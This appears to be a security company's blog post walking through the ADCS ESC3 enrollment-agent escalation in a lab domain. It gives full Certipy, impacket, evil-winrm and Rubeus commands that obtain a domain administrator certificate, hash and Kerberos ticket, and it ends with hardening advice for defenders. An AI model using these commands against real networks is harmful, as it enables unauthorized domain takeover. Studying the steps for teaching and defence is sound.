Active Directory Certificate Services (ADCS – ESC3)

In PART 2 of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated ESC2, one of the escalation techniques. This post will walk you through ESC3, another escalation technique involving misconfigured Certificate Request Agent EKU known as “Enrollment Agent.” This technique allows a principal to enroll for a certificate on behalf of another user (domain admin).

Stop reading about ADCS attacks — start doing them. Our ready-to-deploy ADCS OVA lab gives you a fully configured environment with realistic ADCS misconfigurations to exploit. Download, import, and start hacking in minutes.

The ESC3 is a type of post-exploitation attack that can be only performed once we either gain a foothold on the internal network or use a white box penetration testing approach, in other words, if the client provides valid low-privilege credentials. Here are the requirements:

  • Valid credential – (pcoulson)
  • Vulnerable Certificate Template – ESC3
  • Certipy
  • BloodHound
  • impacket Tools
  • evil-winrm
  • PKINITtools

To find a vulnerable template we can use Certipy below command:

certipy find -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@'

Certipy generates outputs in JSON and TXT file formats. These files are named “_Certipy” and can be found in the current folder.

The 20240518232429_Certipy.txt file contains the vulnerable templates. However, we must identify it manually by opening the file with a regular text editor or using cat along with the grep command.

Additionally, Certipy runs BloodHound collectors that produce a zip file with the same naming convention. These BloodHound results can be imported into your BloodHound database to visualize potential domain privilege escalation paths.

  • Certipy generates BloodHound data that can be ingested into the BloodHound, v5.8.1, which can be found here: BloodHound.
  • Note: To import certipy data on the new Bloodhound v5.8.1, utilize bloodhound-python/latest SharpHound, and after collecting the data, proceed to upload it into Bloodhound v5.8.1.
  • We must specify the -old bloodhound flag to use the old version of BloodHound.
  • Note: If you opt for an older version of Bloodhound, you must use the corresponding older SharpHound version. After collecting the data, upload it to Bloodhound.
certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -old-bloodhound 

certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -vulnerable -enabled -old-bloodhound

As we can see in the below image, the pcoulson user is a member of the DOMAIN USER group and has enrollment right on the ESC3 template. In other words, it refers to permissions granted to users or groups to enroll for certificates based on that template. When we create a certificate template in ADCS, we can specify who has the right to enroll for certificates using that template.

The certificate ESC3 has a vulnerable configuration due to the following factors:

  • Extended Key Usage: Certificate Request Agent
  • Enabled: True
  • Enrollment Rights are set to SHIELD. LOCAL/Domain Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

The last configuration, referred to as “Requires Manager Approval,” is currently set to FALSE.

A misconfiguration in the ESC3 certificate template allows users with low privileges to request a certificate from a template that has a Certificate Request Agent set, which can be utilized to enroll in a certificate on behalf of any domain User. In other words, any user with enrollment rights can request a certificate, even for privileged accounts, such as a domain administrator, if the template has Extended Key Usage set to Certificate Request Agent.

The ESC3 template has the following misconfigurations making it vulnerable:

  • Extended Key Usage: Certificate Request Agent
  • Enabled: True
  • Requires Manager Approval: FALSE
  • Enrollment Rights are set to SHIELD. LOCALDomain Users & SHIELD. LOCAL/Authenticated Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

Once we have identified the vulnerable template, our next step is to request an any-purpose certificate for the pcoulson user using the ESC3 template. Since our initial user account, “pcoulson,” is part of the Domain Users group, it can request a certificate using the vulnerable template.
The Certipy arguments required to request a certificate are as follows:

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template ESC3 -target DC4.shield.local
certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.local -on-behalf-of 'SHIELD\administrator' -pfx pcoulson.pfx

Once we have obtained the .pfx certificate file, we can request the domain admin TGT Ticket or the administrator Hash to gain access to the domain controller.

certipy auth -pfx administrator.pfx

Once we obtain either the administrator hash or the TGT Ticket, we can use different tools to log into the Domain Controller, such as:

  • impacket-smbexec
  • impacket-psexec
  • evil-winrm
  • NetExec
impacket-smbexec administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
evil-winrm -i dc4.shield.local -u Administrator -H c5153b43885058f27715b476e5246a50

To obtain the administrator TGT ticket, we can use certipy in conjunction with the auth flag.

certipy auth -pfx administrator.pfx

Once we obtain the TGT Ticket, we can export the administrator.ccache file with the below command, and log in to the DC using impacket-psexec.

export KRB5CCNAME=administrator.ccache

impacket-psexec administrator@dc4.shield.local -k -no-pass

To obtain the administrator TGT ticket, we can use gettgtpkinit.py in conjunction with the -cert-pfx flag.

python gettgtpkinit.py shield.local/administrator -cert-pfx /root/MARVEL.local/ADCS/administrator.pfx PKINIT-Administartor.ccache

After obtaining the TGT Ticket, we can export the administrator.ccache file using the command below and log in to the DC using impacket-psexec.

export KRB5CCNAME=PKINIT-Administrator.ccache
impacket-psexec administrator@dc4.shield.local -k -no-pass
# NOTE : You have to have Python3 pre-installed on the windows host if not then u have to install it.npip install certipy-ad  
certipy find -dc-ip 192.168.115.180 -sspi

We MUST use the -sspi option to use Windows Integrated Authentication (SSPI). In other words, we will use the user’s context with which we are logged in. In our case, it was pcoulson.

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template ESC3 -target DC4.shield.local


certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.local -on-behalf-of 'SHIELD\administrator' -pfx pcoulson.pfx
certipy auth -pfx administrator.pfx

Now that we have the hashes and the TGT file, we can use them for post-exploitation techniques, such as Past-The-Hash, or use the TGT Ticket (.ccache file) to log in.

set KRB5CCNAME=administrator.ccache

#Option1
c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py administrator@dc4.shield.local -k -no-pass

#Option2
c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -k -no-pass

#We can use either a Windows Powershell or CMD if we want to use the hash.

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /nowrap /getcredentials
Rubeus.exe asktgt /domain:shield.local /user:administrator /rc4:C5153B43885058F27715B476E5246A50 /ptt

dir \\dc4.shield.local\c$\

Active Directory Certificate Services (ADCS) is a powerful tool, but its security depends on correct configuration. While ADCS is not inherently insecure, misconfigurations can create risks of unauthorized access and privilege escalation. These unintentional mistakes can undermine security if not addressed.

Organizations must proactively identify and fix ADCS misconfigurations to maintain security. Regular penetration tests or adversary emulation assessments, at least twice a year, are essential to verify security measures.

Risks mainly stem from improper configuration, so organizations need to fully understand ADCS and its security implications. While we do not claim to know all ADCS security issues, we aim to provide guidance to help secure this critical infrastructure.

Here are some initial steps to enhance your ADCS security:

    • Take stock of your certificate templates and determine whether all enabled templates are currently used. Disable all unnecessary templates.
    • It is recommended that template permissions be restricted as much as possible. Enrollment permissions should be granted only to the necessary groups and users.
    • Modify the “Issuance Requirements” to require manual approval of issued certificates where possible.
    • Disable the “Certificate Request Agent” flag where possible.
    • Remove “Client Authentication” where possible.

    Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.

    • Credentials from Password Stores – T1555
    • Steal or Forge Authentication Certificates – T1649
    • Pass The Hash – T1550.002
    • Steal or Forge Kerberos Tickets – T1558
    • Pass the Ticket – T1550.003
    Share the Post:

    Table of Contents

    Subscribe To Our Blog

    Light